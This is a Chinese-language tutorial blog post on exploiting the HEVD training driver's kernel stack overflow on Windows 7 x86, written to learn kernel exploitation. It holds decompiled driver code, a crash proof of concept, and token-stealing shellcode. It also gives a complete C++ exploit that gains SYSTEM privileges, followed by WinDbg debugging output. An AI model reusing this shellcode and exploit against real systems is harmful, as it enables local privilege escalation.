Windows内核漏洞学习之栈溢出(x86/x64)

 

由于上个月找工作,有几个面试官大佬问到了有关内核漏洞和缓解绕过机制的问题,我基本在这一块属于简单了解,回答的很不好,因而感觉需要在这一块学习一下,而且随着Windows漏洞审核变的越来越严,普通的漏洞就直接拒了,每次挖到洞都在寻找能够扩大漏洞攻击面的机会,如果能够影响到内核那被拒的可能性就比较低了,所以趁此机会好好学习一下内核漏洞相关知识和一些缓解机制绕过的方法。这是hevd学习的一个系列,这是第一篇,关于栈溢出,这种溢出在windows 10中基本已经完全没法使用了,但对于windows内核底层机制了解还是有作用的,作为第一篇,所以写的会比较细,具体实验步骤都会写出来。
其中用到的pocexp代码,我放在github上了,后续的代码也会更新在上面,有问题欢迎交流,学习。

本文介绍了hevd中栈溢出在x86x64环境下exp编写及其原理。

环境准备

因为vmware 15升级了很多东西,往常使用的VirtualKD已经没法用了,所以这里使用其加强版本VirtualKD-Redux

下载VirtualKD-Redux,这个版本VirutalKD一直在更新,可用性比单纯的VirtualKD要好用很多

VirtualKD-Redux说是支持Windbg Preview,但是我在使用过程中会经常出现问题,所以强烈建议使用windbg.exe而不是windbgx.exe来进行调试。

下载windows 7 sp1并安装,安装完成

image-20200921182609603

环境

主机:windows 10 2004 x64
虚拟机: windows 7 sp1 中文版(x86/x64)
编译工具: vs community 2017
windbg: 10.0.19041.1 (x86/x64)
hevd 3.00

 

x86

调试过程中会系统会多次重启,每次重启可能hevd.sys的载入基址都会发生变化

利用VirtualKD禁用windows 7的驱动签名限制

image-20200921182853215

成功启动之后,开启服务

image-20200921183107591

打开hevd.sys大概看一下代码逻辑

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, int a2)
{
  NTSTATUS v2; // esi
  NTSTATUS result; // eax
  PDEVICE_OBJECT v4; // eax
  NTSTATUS v5; // edi
  LSA_UNICODE_STRING DestinationString; // [esp+Ch] [ebp-14h]
  LSA_UNICODE_STRING SymbolicLinkName; // [esp+14h] [ebp-Ch]
  PDEVICE_OBJECT DeviceObject; // [esp+1Ch] [ebp-4h]

  DeviceObject = 0;
  *(_DWORD *)&SymbolicLinkName.Length = 0;
  SymbolicLinkName.Buffer = 0;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\HackSysExtremeVulnerableDriver");
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
  v2 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( v2 >= 0 )
  {
    memset32(DriverObject->MajorFunction, (int)IrpNotImplementedHandler, 0x1Cu);
    DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IrpDeviceIoCtlHandler;
    DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)IrpCreateCloseHandler;
    DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)IrpCreateCloseHandler;
    v4 = DeviceObject;
    DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnloadHandler;
    v4->Flags |= 0x10u;
    DeviceObject->Flags &= 0xFFFFFF7F;
    v5 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    ...

跟进IrpDeviceIoCtlHandler

NTSTATUS __stdcall IrpDeviceIoCtlHandler(int a1, PIRP Irp)
{
  NTSTATUS v2; // ebx
  _IO_STACK_LOCATION *v3; // eax
  _IO_STACK_LOCATION *v4; // ebx
  void (*v5)(ULONG, ULONG, PCSTR, ...); // esi
  int v6; // eax
  const CHAR *v8; // [esp-4h] [ebp-10h]

  v2 = -1073741637;
  v3 = Irp->Tail.Overlay.CurrentStackLocation;
  if ( v3 )
  {
    v4 = Irp->Tail.Overlay.CurrentStackLocation;
    switch ( v3->Parameters.Read.ByteOffset.LowPart )
    {
      case 0x222003u:
        v5 = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
        v6 = BufferOverflowStackIoctlHandler((int)Irp, (int)v4);
        v8 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
        goto LABEL_4;
      case 0x222007u:
        v5 = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
        v6 = BufferOverflowStackGSIoctlHandler(Irp, v4);
        v8 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n";
        goto LABEL_4;
        ...

继续跟进BufferOverflowStackIoctlHandler

int __stdcall BufferOverflowStackIoctlHandler(int a1, int a2)
{
  int v2; // ecx
  void *v3; // edx

  v2 = -1073741823;
  v3 = *(void **)(a2 + 16);
  if ( v3 )
    v2 = TriggerBufferOverflowStack(v3, *(_DWORD *)(a2 + 8));
  return v2;
}

最终溢出函数

int __stdcall TriggerBufferOverflowStack(void *Address, size_t MaxCount)
{
  char Dst; // [esp+10h] [ebp-81Ch]
  CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

  memset(&Dst, 0, 0x800u);
  ms_exc.registration.TryLevel = 0;
  ProbeForRead(Address, 0x800u, 1u);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", Address);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", MaxCount);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", &Dst);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 2048);
  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
  memcpy(&Dst, Address, MaxCount);    // 没有判断MaxCount,导致栈溢出
  return 0;
}

poc函数

void poc()
{
    do {
        HANDLE hDevice;
        // 2-bit unsigned integer. This is a flag field that indicates various access modes 
        // to use for creating and opening the file. 
        // This value SHOULD be set to 0xC0000000, meaning generic read and generic write
        hDevice = CreateFileA(
            /* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
            /* DWORD dwDesiredAccess */ 0xC0000000,
            /* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
            /* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
            /* DWORD dwCreationDisposition */ OPEN_EXISTING,
            /* DWORD dwFlagsAndAttributes */ 0,
            /* HANDLE hTemplateFile */ NULL);
        if (hDevice == INVALID_HANDLE_VALUE)
        {
            handle_error("Open device failed!\n", GetLastError());
            break;
        }
        DWORD dwReturnedBytes = 0;
        UCHAR szInBuffer[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9";
        if (!DeviceIoControl(hDevice, 0x222003, szInBuffer, sizeof(szInBuffer), NULL, 0, &dwReturnedBytes, NULL))
        {
            handle_error("DeviceIoControl failed!\n", GetLastError());
            break;
        }
        else
        {
            printf("DeviceIoControl successfully.\n");
        }
    } while (0);
}

编译执行,崩溃

image-20200921195059357

从网上找到了一段python利用的提权shellcode

"\x60"                            # pushad
"\x31\xc0"                        # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124]
"\x8b\x40\x50"                    # mov eax,[eax+0x50]
"\x89\xc1"                        # mov ecx,eax
"\xba\x04\x00\x00\x00"            # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx
"\x75\xed"                        # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx
"\x61"                            # popad

转化为c++可用

void exp()
{
    do {
        HANDLE hDevice;
        hDevice = CreateFileA(
            /* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
            /* DWORD dwDesiredAccess */ 0xC0000000,
            /* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
            /* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
            /* DWORD dwCreationDisposition */ OPEN_EXISTING,
            /* DWORD dwFlagsAndAttributes */ 0,
            /* HANDLE hTemplateFile */ NULL);
        if (hDevice == INVALID_HANDLE_VALUE)
        {
            handle_error("Open device failed!\n", GetLastError());
            break;
        }
        ULONG ulShellcode[] = {
            0x64c03160,
            0x0124808b,
            0x408b0000,
            0xbac18950,
            0x4,
            0x00b8808b,
            0xb82d0000,
            0x39000000,
            0x0000b490,
            0x8bed7500,
            0x0000f890,
            0xf8918900,
            0x61000000,
        };

        DWORD dwInBufferSize = 2080 + 4;
        UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
        if (pInBuffer == NULL)
        {
            handle_error("HeapAlloc", GetLastError());
            break;
        }
        RtlFillMemory(pInBuffer, 2080, 0x41);
        PVOID pShellcode = &ulShellcode;
        PVOID *ppShellcode = &pShellcode;
        RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
        DWORD dwReturnedBytes = 0;
        if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
        {
            handle_error("DeviceIoControl failed!\n", GetLastError());
            break;
        }
        else
        {
            printf("DeviceIoControl successfully.\n");
            system("cmd.exe");
        }
        if (pInBuffer != NULL)
            HeapFree(GetProcessHeap(), 0, pInBuffer);
    } while (0);
}

中间忘了栈上存在DEP的问题,从而没有开辟空间直接执行,DEP导致执行失败,可以验证一下试试,在函数return前设置断点bp HEVD+0x4527e

image-20200922181319033

没有执行权限,发生了异常。

使用VirtualAlloc重新分配可执行内存

void exp()
{
    do {
        HANDLE hDevice;
        hDevice = CreateFileA(
            /* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
            /* DWORD dwDesiredAccess */ 0xC0000000,
            /* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
            /* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
            /* DWORD dwCreationDisposition */ OPEN_EXISTING,
            /* DWORD dwFlagsAndAttributes */ 0,
            /* HANDLE hTemplateFile */ NULL);
        if (hDevice == INVALID_HANDLE_VALUE)
        {
            handle_error("Open device failed!\n", GetLastError());
            break;
        }
        ULONG ulShellcode[] = {
            0x64c03160,
            0x0124808b,
            0x408b0000,
            0xbac18950,
            0x4,
            0x00b8808b,
            0xb82d0000,
            0x39000000,
            0x0000b490,
            0x8bed7500,
            0x0000f890,
            0xf8918900,
            0x61000000,
        };

        PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (pEopPayload == NULL)
        {
            handle_error("VirtualAlloc", GetLastError());
            break;
        }
        RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));

        DWORD dwInBufferSize = 2080 + 4;
        UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
        if (pInBuffer == NULL)
        {
            handle_error("HeapAlloc", GetLastError());
            break;
        }
        RtlFillMemory(pInBuffer, 2080, 0x41);
        PVOID pShellcode = &pEopPayload;
        PVOID *ppShellcode = &pEopPayload;
        RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
        DWORD dwReturnedBytes = 0;
        if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
        {
            handle_error("DeviceIoControl failed!\n", GetLastError());
            break;
        }
        else
        {
            printf("DeviceIoControl successfully.\n");
            system("cmd.exe");
        }
        if (pInBuffer != NULL)
            HeapFree(GetProcessHeap(), 0, pInBuffer);
        if (pEopPayload != NULL)
            VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
    } while (0);
}

重启继续

image-20200922182036644

可以发现,再次出错了,出错的原因在于执行完我们的shellcode之后,我们没有对环境进行复原
那么我们来分析一下如何复原现在这个环境,这个得仔细思考,没有想象中的那么想当然,我们最好从原理上搞懂,为什么这么做。首先分析一下,如果栈没有溢出,正常执行完popad,我们应该执行的指令

PAGE:933F6263                 add     esp, 10h
PAGE:933F6266
PAGE:933F6266 loc_933F6266:                           ; CODE XREF: TriggerBufferOverflowStack+9B↑j
PAGE:933F6266                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:933F626D                 mov     eax, edi
PAGE:933F626F                 mov     ecx, [ebp+ms_exc.registration.Next]
PAGE:933F6272                 mov     large fs:0, ecx
PAGE:933F6279                 pop     ecx
PAGE:933F627A                 pop     edi
PAGE:933F627B                 pop     esi
PAGE:933F627C                 pop     ebx
PAGE:933F627D                 leave
PAGE:933F627E                 retn    8  ; 这里跳转到shellcode
PAGE:933F627E TriggerBufferOverflowStack endp

shellcode执行完后,正常应该跳出TriggerBufferOverflowStack,回到BufferOverflowStackIoctlHandler函数

PAGE:933F617E BufferOverflowStackIoctlHandler proc near
PAGE:933F617E                                         ; CODE XREF: IrpDeviceIoCtlHandler+51↑p
PAGE:933F617E
PAGE:933F617E arg_4           = dword ptr  0Ch
PAGE:933F617E
PAGE:933F617E                 push    ebp
PAGE:933F617F                 mov     ebp, esp
PAGE:933F6181                 mov     eax, [ebp+arg_4]
PAGE:933F6184                 mov     ecx, 0C0000001h
PAGE:933F6189                 mov     edx, [eax+10h]
PAGE:933F618C                 mov     eax, [eax+8]
PAGE:933F618F                 test    edx, edx
PAGE:933F6191                 jz      short loc_933F619C
PAGE:933F6193                 push    eax             ; MaxCount
PAGE:933F6194                 push    edx             ; Address
PAGE:933F6195                 call    TriggerBufferOverflowStack
PAGE:933F619A                 mov     ecx, eax  ; shellcode 执行完,应该从这里开始执行
PAGE:933F619C
PAGE:933F619C loc_933F619C:                           ; CODE XREF: BufferOverflowStackIoctlHandler+13↑j
PAGE:933F619C                 mov     eax, ecx
PAGE:933F619E                 pop     ebp
PAGE:933F619F                 retn    8
PAGE:933F619F BufferOverflowStackIoctlHandler endp

看一下汇编指令

mov ecx, eax
mov eax, ecx
pop ebp
retn 8

可以发现eax是作为返回值使用的,成功执行eax应该是0,所以简化指令

xor eax, eax
pop ebp
ret 8

讲汇编指令转化为二进制数据

image-20200922210226311

将环境复原指令添加到shellcode

ULONG ulShellcode[] = {
    0x64c03160,
    0x0124808b,
    0x408b0000,
    0xbac18950,
    0x4,
    0x00b8808b,
    0xb82d0000,
    0x39000000,
    0x0000b490,
    0x8bed7500,
    0x0000f890,
    0xf8918900,
    0x61000000,
    0xc25dc031,
    0x8};

在上次那个断点断下,并逐步调试

image-20200922205416000

继续,成功跳出

image-20200922210621623

继续

image-20200922210727409

提权成功

完整提权代码

#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>

#define handle_error(msg, error_code) \
    do  \
    {                             \
        printf("%s with error code: %d\n", msg, error_code); \
    } while (0);

void exp()
{
    do {
        HANDLE hDevice;
        hDevice = CreateFileA(
            /* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
            /* DWORD dwDesiredAccess */ 0xC0000000,
            /* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
            /* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
            /* DWORD dwCreationDisposition */ OPEN_EXISTING,
            /* DWORD dwFlagsAndAttributes */ 0,
            /* HANDLE hTemplateFile */ NULL);
        if (hDevice == INVALID_HANDLE_VALUE)
        {
            handle_error("Open device failed!\n", GetLastError());
            break;
        }
        /*
        pushad                              ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                        ; Set ZERO
        mov eax, DWORD PTR fs:[eax + 124h]  ; Get nt!_KPCR.PcrbData.CurrentThread
                                            ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax + 50h]                ; Get nt!_KTHREAD.ApcState.Process
        mov ecx, eax                        ; Copy current process _EPROCESS structure
        mov edx, 04h                        ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0B8h]               ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, 0B8h
        cmp [eax + 0B4h], edx               ; Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID

        mov edx, [eax + 0F8h]               ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + 0F8h], edx               ; Replace target process nt!_EPROCESS.Token
                                            ; with SYSTEM process nt!_EPROCESS.Token
        popad

        xor eax, eax                        ; restore environment
        pop ebp
        ret 8
        */
        ULONG ulShellcode[] = {
            0x64c03160,
            0x0124808b,
            0x408b0000,
            0xbac18950,
            0x4,
            0x00b8808b,
            0xb82d0000,
            0x39000000,
            0x0000b490,
            0x8bed7500,
            0x0000f890,
            0xf8918900,
            0x61000000,
            0xc25dc031,
            0x8
        };

        PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (pEopPayload == NULL)
        {
            handle_error("VirtualAlloc", GetLastError());
            break;
        }
        RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));

        DWORD dwInBufferSize = 2080 + 4;
        UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
        if (pInBuffer == NULL)
        {
            handle_error("HeapAlloc", GetLastError());
            break;
        }
        RtlFillMemory(pInBuffer, 2080, 0x41);
        PVOID pShellcode = &pEopPayload;
        PVOID *ppShellcode = &pEopPayload;
        RtlCopyMemory(pInBuffer + 2080, ppShellcode, 4);
        DWORD dwReturnedBytes = 0;
        if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
        {
            handle_error("DeviceIoControl failed!\n", GetLastError());
            break;
        }
        else
        {
            printf("DeviceIoControl successfully.\n");
            system("cmd.exe");
        }
        if (pInBuffer != NULL)
            HeapFree(GetProcessHeap(), 0, pInBuffer);
        if (pEopPayload != NULL)
            VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
    } while (0);
}

int main()
{
    exp();
    return 0;
}

一个有意思的问题

在做上面的实验时,遇到了一个比较隐蔽的问题,调试了很久,最终才发现原因,在这里也跟大家讨论讨论,避免大家以后遇到这个问题,不知道是为什么

如果exp的代码这么写

void exp()
{
    ...
    do 
    {
        ...
        if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
        {
            handle_error("DeviceIoControl failed!\n", GetLastError());
            break;
        }
        else
        {
            printf("DeviceIoControl successfully.\n");
            // system("cmd.exe"); // 注释掉这一行代码
        }
        if (pInBuffer != NULL)
            HeapFree(GetProcessHeap(), 0, pInBuffer);
        if (pEopPayload != NULL)
            VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
    } while (0);
}
...

注释掉之后,我们通过cmd.exe启动另一个cmd.exe,新启动的cmd.exe会是system权限吗?
编译执行,为了不掺杂别的影响,我们把系统重启一下,看看结果

image-20200922213753214

可以发现,无论是原先的cmd.exe还是新启动的cmd.exe,权限都没有提升成功。这个问题困扰了我大概两个晚上的下班时间,期间找了各种资料,以为shellcode出问题了,我在shellcode下断点,一步一步执行,怎么想都是成功的改变了cmd.exetoken数据,为什么会失败呢?

失败的地方就在这里,我以为我该成功了,但事实是没有成功,来通过windbg看一下,首先关闭新启动的cmd.exe,只保留我以为我成功改变tokencmd

列一下进程

kd> !dml_proc
Address  PID  Image file name
869eb920 4    System         
87dfea68 104  smss.exe       
883e4400 158  csrss.exe      
88a6a108 18c  wininit.exe    
88415030 198  csrss.exe      
88475d40 1d4  winlogon.exe   
8baeac48 204  services.exe   
885b9030 20c  lsass.exe      
885c5030 214  lsm.exe        
88646378 27c  svchost.exe    
8858ad40 2c0  svchost.exe    
8866aab0 2f4  svchost.exe    
8867fd40 33c  svchost.exe    
96bff478 3ac  svchost.exe    
886ea030 428  svchost.exe    
88701a60 470  svchost.exe    
8875bd40 4f4  spoolsv.exe    
887446a8 520  svchost.exe    
887838c8 570  taskhost.exe   
8879ac40 5b8  dwm.exe        
887a2448 5d4  explorer.exe   
887f8408 660  vm3dservice.ex 
887fa6f0 668  vmtoolsd.exe   
887d2d40 6b0  VGAuthService. 
8892db18 6ec  vmtoolsd.exe   
889a2338 414  WmiPrvSE.exe   
88a04030 648  dllhost.exe    
8747e030 604  msdtc.exe      
887d8030 820  SearchIndexer. 
88af13b0 8ac  wmpnetwk.exe   
88afb8f0 8f4  svchost.exe    
873e1920 a58  WmiPrvSE.exe   
87e77030 be4  OSRLOADER.exe  
99bfc158 bfc  cmd.exe        
98332d40 c04  conhost.exe    
88a0e030 e50  sppsvc.exe     
955ff300 e74  svchost.exe

查看一下system进程及其token信息

kd> dt _EPROCESS 869eb920 ; system process
ntdll!_EPROCESS
   ...
   +0x0f4 ObjectTable      : 0x8d401b60 _HANDLE_TABLE
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : 0
   ...
   +0x2bc TimerResolutionStackRecord : (null) 

kd> dt _EX_FAST_REF 869eb920+f8
ntdll!_EX_FAST_REF
   +0x000 Object           : 0x8d4012c6 Void
   +0x000 RefCnt           : 0y110
   +0x000 Value            : 0x8d4012c6

kd> dt _TOKEN 0x8d4012c0
nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x06207526`b64ceb90
   +0x030 TokenLock        : 0x86946490 _ERESOURCE
   +0x034 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x074 SessionId        : 0
   +0x078 UserAndGroupCount : 5
   +0x07c RestrictedSidCount : 0
   +0x080 VariableLength   : 0x70
   +0x084 DynamicCharged   : 0x400
